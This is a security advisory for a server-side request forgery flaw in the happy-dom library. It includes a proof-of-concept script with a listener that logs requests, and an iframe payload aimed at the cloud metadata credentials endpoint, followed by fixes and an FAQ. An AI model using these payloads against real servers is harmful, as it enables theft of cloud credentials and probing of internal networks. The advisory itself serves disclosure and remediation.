GHSA-c8p4-j97h-3vg8: SSRF
Summary happy-dom v20.8.9 makes real server-side HTTP requests to arbitrary URLs when parsing HTML containing <iframe> or <link rel="stylesheet"> elements. This behavior is enabled by default (disableIframePageLoading: false, disableCSSFileLoading: false). When an application uses happy-dom to parse untrusted HTML on the server side, an attacker can trigger Server-Side Request Forgery by embedding these elements.
Affected Versions - happy-dom <= 20.8.9 (latest)
Vulnerable Behavior
By default, happy-dom has: - disableIframePageLoading: false — iframes fetch their src URL via real HTTP requests - disableCSSFileLoading: false — <link> stylesheets fetch their href URL via real HTTP requests
When untrusted HTML is parsed, these elements trigger real server-side HTTP requests to whatever URLs are specified. No special configuration or opt-in is needed.
Proof of Concept
Verified test (attacker server receives requests): javascript const http = require('http'); const { Window } = require('happy-dom');
// Start attacker server const srv = http.createServer((req, res) => { console.log(SSRF HIT: ${req.method} ${req.url}); res.writeHead(200, {'Content-Type': 'text/html'}); res.end('<html><body>stolen</body></html>'); });
srv.listen(9995, () => { // iframe SSRF — happy-dom makes a real GET request const win1 = new Window({ url: 'http://localhost' }); win1.document.write('<html><body><iframe src="http://127.0.0.1:9995/iframe-ssrf"></iframe></body></html>');
// stylesheet SSRF — happy-dom makes a real GET request const win2 = new Window({ url: 'http://localhost' }); win2.document.write('<html><head><link rel="stylesheet" href="http://127.0.0.1:9995/stylesheet-ssrf"></head><body></body></html>'); });
Test output: SSRF HIT: GET /iframe-ssrf SSRF HIT: GET /stylesheet-ssrf
Both requests confirmed received by the attacker server. Tested on happy-dom v20.8.9, Node.js v22.17.0, macOS.
Cloud metadata attack scenario: javascript const { Window } = require('happy-dom'); const win = new Window({ url: 'http://localhost' });
// Attacker-controlled HTML triggers fetch to AWS metadata endpoint win.document.write('<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe></body></html>');
Impact - Cloud credential theft — <iframe src="http://169.254.169.254/..."> fetches AWS/GCP/Azure metadata - Internal network scanning — probe internal services and ports - Data exfiltration — read responses from internal APIs - Affects any server-side use case — web scraping, email HTML rendering, SSR, testing with external HTML input
Suggested Fix Change defaults to disable external resource loading: javascript disableIframePageLoading: true, // change from false disableCSSFileLoading: true, // change from false
Or add URL validation to block private IP ranges and cloud metadata endpoints before fetching.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/happy-domto a version that resolves this vulnerability.Fixed in 21.0.0 - Configuration
Set disableCSSFileLoading: true and disableIframePageLoading: true to disable external stylesheet and iframe resource loading.
happy-dom disableCSSFileLoading and disableIframePageLoading = true - Compensating control
Add URL validation before fetching to block private IP ranges and cloud metadata endpoints.
Event History
Frequently Asked Questions
Which deployments are exposed to this issue?
Deployments using happy-dom version 20.8.9 or earlier are exposed when they parse attacker-controlled or otherwise untrusted HTML on the server. The default configuration is affected because iframe and stylesheet loading are enabled by default.
What does an attacker need to trigger server-side requests?
An attacker needs to supply HTML that is parsed by happy-dom and contains an iframe with a src URL or a stylesheet link with an href URL. No authentication, user interaction, or special happy-dom configuration is required for the default behavior.
What can be done if updating is not immediately possible?
Disable iframe page loading and CSS file loading by setting disableIframePageLoading and disableCSSFileLoading to true. This prevents the documented iframe src and stylesheet href fetch behavior.
How can I assess whether an application is affected?
Check whether the application uses happy-dom 20.8.9 or earlier to parse untrusted HTML on a server. Also check whether disableIframePageLoading or disableCSSFileLoading remain false, which is the default.